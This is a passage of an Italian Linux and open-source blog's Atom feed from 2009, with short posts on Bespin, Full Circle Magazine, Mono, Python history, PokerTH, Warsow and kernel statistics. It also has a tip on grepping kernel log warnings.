/&gt;&lt;/a&gt;&lt;br /&gt;Nell'intento degli sviluppatori c'è l'idea di creare un tool di sviluppo web collaborativo direttamente sul web. Un tool molto interessante con il quale ho provato a fare già qualche prova e mi è sembrato un po' pesantuccio da renderizzare nel browser.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://labs.mozilla.com/uploads/2009/02/webkit-editor-medium.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 362px; height: 271px;" src="http://labs.mozilla.com/uploads/2009/02/webkit-editor-medium.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Questa è un'immagine dell'editor integrato per HTML 5.0 e Javascript. Ho già testato che non è possibile inserire del codice PHP all'interno della pagina .html perchè oltre a non essere interpretato proprio impedisce la visualizzazione della pagina.&lt;br /&gt;&lt;br /&gt;Dal &lt;a href="https://bespin.mozilla.com/"&gt;sito ufficiale&lt;/a&gt; è possibile registrarsi gratuitamente e provare questo nuovo e promettente tool.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-872512143658393948?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/872512143658393948/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=872512143658393948' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/872512143658393948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/872512143658393948'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/02/bespin-qualcosa-di-nuovo-sotto-il-sole.html' title='Bespin, qualcosa di nuovo sotto il sole.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4474730714480938152</id><published>2009-02-08T22:28:00.005+01:00</published><updated>2009-02-08T22:38:32.606+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Full Circle Magazine issue 21</title><content type='html'>Arriva puntuale come un orologio, ogni mese, un nuovo numero di Full Circle Magazine, la rivista "ufficiale" di Ubuntu.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://fullcirclemagazine.org/wp-content/uploads/logo_final.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 350px; height: 70px;" src="http://fullcirclemagazine.org/wp-content/uploads/logo_final.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In questo numero spicca sicuramente un articolo su un nuovo videogame, ancora in fase di beta, per il nostro pinguino: Tribal Trouble 2.&lt;br /&gt;Continuano inoltre le rubriche che parlano di comandi da shell e programmazione in C.&lt;br /&gt;E' un numero molto gustoso che va letto dalla prima all'ultima pagina.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://fullcirclemagazine.org/wp-content/uploads/2009/02/fullcircle21.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 306px; height: 216px;" src="http://fullcirclemagazine.org/wp-content/uploads/2009/02/fullcircle21.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Non vi resta che scaricarla al volo dal &lt;a href="http://fullcirclemagazine.org/"&gt;sito ufficiale&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4474730714480938152?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4474730714480938152/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4474730714480938152' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4474730714480938152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4474730714480938152'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/02/full-circle-magazine-issue-21.html' title='Full Circle Magazine issue 21'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5059811529498092987</id><published>2009-02-06T23:00:00.003+01:00</published><updated>2009-02-06T23:05:38.774+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Interfacce e MONO</title><content type='html'>Da qualche giorno mi sono appassionato allo studio del C Sharp, abbreviato come C#.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mono-project.com/skins/Mono2/images/header-logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 168px; height: 85px;" src="http://mono-project.com/skins/Mono2/images/header-logo.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Ovviamente per fare alcune prove ho cercato materiale che parlasse di interfacce grafiche e come ora mi è arrivato questo video su YouTube.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/KW4G7R6zARs&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/KW4G7R6zARs&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Buona visione!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5059811529498092987?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5059811529498092987/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5059811529498092987' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5059811529498092987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5059811529498092987'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/02/interfacce-e-mono.html' title='Interfacce e MONO'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5059611533259293702</id><published>2009-01-19T17:31:00.004+01:00</published><updated>2009-01-19T17:41:07.473+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Script'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Storia'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='How To Pythonize'/><title type='text'>Python, un po' di storia.</title><content type='html'>Mi piace leggere articoli e informazioni riguardanti l'informatica, ma direi che la storia mi mancava.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://wiki.services.openoffice.org/w/images/7/7e/Python_power_for_OOo.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 332px; height: 220px;" src="http://wiki.services.openoffice.org/w/images/7/7e/Python_power_for_OOo.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ho scoperto solo oggi l'esistenza di &lt;a href="http://python-history.blogspot.com/"&gt;questo blog&lt;/a&gt;.&lt;br /&gt;E' un sito tenuto dall'inventore del Python, &lt;span style="font-style:italic;"&gt;Guido van Rossum&lt;/span&gt;, nel quale ci spiega un pochino come è nato e cresciuto quello che all'inizio era un semplice linguaggio di script, ma che sta diventando un linguaggio di programmazione sempre più completo e potente.&lt;br /&gt;&lt;br /&gt;Nel post del 13 gennaio, ad esempio, Guido parla della filosofia del design del linguaggio Python. Una lettura molto interessante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5059611533259293702?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5059611533259293702/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5059611533259293702' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5059611533259293702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5059611533259293702'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/python-un-po-di-storia.html' title='Python, un po&apos; di storia.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4981415189997383646</id><published>2009-01-11T09:27:00.002+01:00</published><updated>2009-01-11T09:39:53.252+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Giochi'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Poker TH 0.6.3</title><content type='html'>Solo recentemente mi è capitato sotto mano questo gioco, open source e veramente entusiasmante.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.pokerth.net/images/stories/PokerTH06_small.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://www.pokerth.net/images/stories/PokerTH06_small.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Poker TH permette, a 7 giocatori su internet o a un giocatore umano contro 6 giocatori controllati dal computer, di giocare alla versione Texana del poker che sta spopolando anche in italia conosciuta col nome di Texas hold'em.&lt;br /&gt;&lt;br /&gt;Il gioco è molto curato, sia nella parte grafica, che nella parte audio e cattura subito il giocatore scatenando la letale sindrome del "ancora un'ultima poi stacco".&lt;br /&gt;&lt;br /&gt;La roadmap, reperibile sul &lt;a href="http://www.pokerth.net/"&gt;sito ufficiale&lt;/a&gt;, mette veramente l'acquolina in bocca visto che si parla di online ranking e supporto a 10 giocatori, ora purtroppo limitato a 7.&lt;br /&gt;&lt;br /&gt;Insomma, direi che è giunto il momento di cominciare un bel torneino online, e pensare che il poker non mi era mai piaciuto più di tanto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4981415189997383646?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4981415189997383646/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4981415189997383646' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4981415189997383646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4981415189997383646'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/poker-th-063.html' title='Poker TH 0.6.3'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6035233973424048621</id><published>2009-01-10T15:07:00.005+01:00</published><updated>2009-01-10T15:31:23.073+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><title type='text'>10 buoni propositi per un 2009 Linuxiano</title><content type='html'>&lt;div style="text-align: center; font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);font-size:300%;" &gt;&lt;span style="font-family: courier new;"&gt;2009&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;So che i buoni propositi si fanno prima del 2009, ma quest'anno si promette interessante e quindi do una lista di buoni propositi da seguire per un buon 2009 all'insegna del gnu/pinguino:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Far installare ad almeno dieci persone una distribuzione Gnu/Linux;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tenere almeno una conversazione/presentazione sulle 4 libertà del free software;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Scrivere almeno cinque script/applicazioni di utilità per Gnu/Linux;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Leggere almeno cinque libri su diversi aspetti del free software, dallo sviluppo agli aspetti legali;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Andare al Linux Day 2009;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Iscriversi e frequentare più assiduamente il forum di supporto alla propria distribuzione;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Seguire di più la mailing-list della distribuzione;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Scrivere una documentazione per un programma Free Software;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Contribuire alla diffusione di programmi Open Source anche su sistemi operativi non free software;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Fare almeno 10 tutorial/videotutorial per i neofiti di Gnu/Linux.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Spero di riuscire a rispettare questo decalogo e ovviamente documentare tutto su questo blog.&lt;br /&gt;Ovviamente se avete altri buoni propositi siete invitati caldamente a inserirli in un commento a questo post, vi ringrazio anticipatamente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6035233973424048621?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6035233973424048621/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6035233973424048621' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6035233973424048621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6035233973424048621'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/10-buoni-propositi-per-un-2009.html' title='10 buoni propositi per un 2009 Linuxiano'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3473124056586738882</id><published>2009-01-10T14:44:00.003+01:00</published><updated>2009-01-10T14:50:52.410+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Giochi'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Warsow news.</title><content type='html'>Ho già parlato altre volte di un gioco molto interessante chiamato Warsow.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.warsowastur.es/wp-content/uploads/2008/01/9208-5eba-warsow.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 256px; height: 256px;" src="http://www.warsowastur.es/wp-content/uploads/2008/01/9208-5eba-warsow.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Attualmente siamo giunti alla versione 0.42 e aspettiamo con ansia la versione 0.5.&lt;br /&gt;&lt;br /&gt;C'è stato un periodo di silenzio ma per il 2009 il team di developers di Warsow ha un interessante programma:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Happy 2009 to all Warsowians! Rather than analyze the passed year, let's take a look at some of the things this new year will bring us:&lt;br /&gt;&lt;br /&gt;§ Warsow 0.5! Releasedates are still not known, but I think it's safe to say it will be on your hard disk before the end of 2009! Bold statement ;). Remember you can already take part of the betatesting of the testclient, in the forums (make sure you're signed in or you won't be able to see it).&lt;br /&gt;&lt;br /&gt;§ Clanbase XII Warsow TDM Nationscup! With 14 nations signed up for some proper TDM action, we can expect another nice event with plenty of coverage (WarsowTV and shoutcast... right?!)&lt;br /&gt;&lt;br /&gt;§ A new website? There have been some thoughts and ideas circulating for a long time for a new website, but I think it's time for an overhaul of the entire website. It should be less dense and difficult to navigate for new users (because let's be honest, it can take quite some time to plow your way through this site before knowing what Warsow is all about). So who knows, it might be sooner than later...?&lt;br /&gt;&lt;br /&gt;§ A_Spec's secret project. Announced in the forums, A_Spec is asking for your favourite, most spectacular or impressive games of all time. We all know what http://www.warsow.net/forum/flags/nl.png A_Spec is about (and if we don't, it's shoutcasting!) so get those games/demos up!&lt;br /&gt;&lt;br /&gt;And that's just a part of the things to come! Keep an eye on the forums and the blog, and happy fragging!&lt;br /&gt;&lt;br /&gt;Choo choo!&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.warsow.net"&gt;Sito uffficiale di Warsow&lt;/a&gt; con la notizia ufficiale.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3473124056586738882?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3473124056586738882/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3473124056586738882' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3473124056586738882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3473124056586738882'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/warsow-news.html' title='Warsow news.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6237362732414322557</id><published>2009-01-05T20:41:00.002+01:00</published><updated>2009-01-05T20:53:08.093+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Chi mantiene il kernel?</title><content type='html'>Oggi pomeriggio alle 16.18 mi è arrivata una mail piuttosto interessante di Wang Chen sulla linux kernel mailing list.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.crunchgear.com/wp-content/uploads/2008/03/linux-penguin.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 216px; height: 237px;" src="http://www.crunchgear.com/wp-content/uploads/2008/03/linux-penguin.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Wang Chen, in questa mail, vuole mostrare come si è contribuito allo sviluppo del kernel nelle varie versioni e chi ha contribuito maggiormente.&lt;br /&gt;&lt;br /&gt;A &lt;a href="http://www.remword.com/kps_result/evolvement.php"&gt;questo indirizzo&lt;/a&gt; è possibile vedere due grafici molto significativi.&lt;br /&gt;Nel primo si può notare l'andamento del numero di commit eseguiti al kernel, mentre nel secondo è possibile vedere quante organizzazioni hanno contribuito allo sviluppo del kernel.&lt;br /&gt;&lt;br /&gt;All'interno del sito &lt;a href="http://www.remword.com/kps_result/"&gt;Kernel Patch Statistic&lt;/a&gt; è inoltre possibile consultare tutte le altre statistiche che riguardano lo sviluppo del kernel, come, ad esempio, la top 30 degli impiegati che hanno eseguito più commit al kernel.&lt;br /&gt;&lt;br /&gt;Buon divertimento nello spulciare tutte queste interessanti statistiche.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6237362732414322557?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6237362732414322557/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6237362732414322557' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6237362732414322557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6237362732414322557'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/chi-mantiene-il-kernel.html' title='Chi mantiene il kernel?'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7763756653592130010</id><published>2009-01-04T16:46:00.003+01:00</published><updated>2009-01-04T16:55:19.816+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Script'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Warning nei syslog</title><content type='html'>Nel nostro sistema Gnu/Linux tutti noi abbiamo una cartella che ha il seguente percorso:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;/var/log&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;All'interno di questa cartella esistono diversi file di testo che riassumono le attività che si sono svolte nel nostro sistema per una questione di sicurezza o di debug. In termine "tecnico" si dice che le &lt;span style="font-weight:bold;"&gt;loggano&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Oggi allora mi sono messo un attimino a spulciare questi file per vedere se tutto va come dovrebbe e guardate cosa incontro nella mia Ubuntu 8.10:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Jan  4 09:17:23 giovine-laptop kernel: [   31.191859] warning: `avahi-daemon' uses 32-bit capabilities (legacy support in use)&lt;br /&gt;Jan  4 09:17:43 giovine-laptop kernel: [   50.392402] b43-phy0 warning: You are using an old firmware image. Support for old firmware will be removed in July 2008.&lt;br /&gt;Jan  4 09:17:43 giovine-laptop kernel: [   50.392406] b43-phy0 warning: You must go to http://linuxwireless.org/en/users/Drivers/b43#devicefirmware and download the latest firmware (version 4).&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Mi sembra un warning piuttosto interessante, soprattutto quando parla del firmware della wireless.&lt;br /&gt;Un problema che mi appresterò a fixare al più presto, ma che non è stato segnalato da nessuno.&lt;br /&gt;&lt;br /&gt;Se anche voi volete vedere se esiste qualche warning all'interno dei vostri file di log il comando da dare per visualizzarli tutti uno dietro l'altro:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;~$ cat /var/log/kern.log | grep "warning"&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;E' possibile anche salvare il risultato in un comodo file per essere consultati in un secondo tempo o stampati con il comando:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;~$ cat /var/log/kern.log | grep "warning" &gt; log_warnings.txt&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Ovviamente se qualcuno mi sa dire qualcosa di più su questo mio warning è pregato di postare commenti o contattarmi mandandomi una e-mail.&lt;br /&gt;&lt;br /&gt;Ringrazio anticipatamente tutti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7763756653592130010?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7763756653592130010/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7763756653592130010' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7763756653592130010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7763756653592130010'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/warning-nei-syslog.html' title='Warning nei syslog'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4242689122095313193</id><published>2009-01-02T09:44:00.003+01:00</published><updated>2009-01-02T09:50:57.330+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux Day'/><title type='text'>Anno nuovo, FCM nuovo.</title><content type='html'>E' uscita la issue 20 di Full Circle Magazine, rivista "Ufficiosa" della distribuzione Gnu/Linux Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://fullcirclemagazine.org/wp-content/uploads/2008/12/issue20_en_cover.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 424px; height: 300px;" src="http://fullcirclemagazine.org/wp-content/uploads/2008/12/issue20_en_cover.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ma questo numero ha qualcosa di particolare: un contributo direttamente da questo blog a proposito del Linux Day tenuto a Pisa.&lt;br /&gt;&lt;br /&gt;Potete scaricare liberamente il formato .pdf della rivista da questo indirizzo: &lt;a href="http://fullcirclemagazine.org/issue-20/"&gt;Download pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;L'articolo in questione lo trovate a pagina 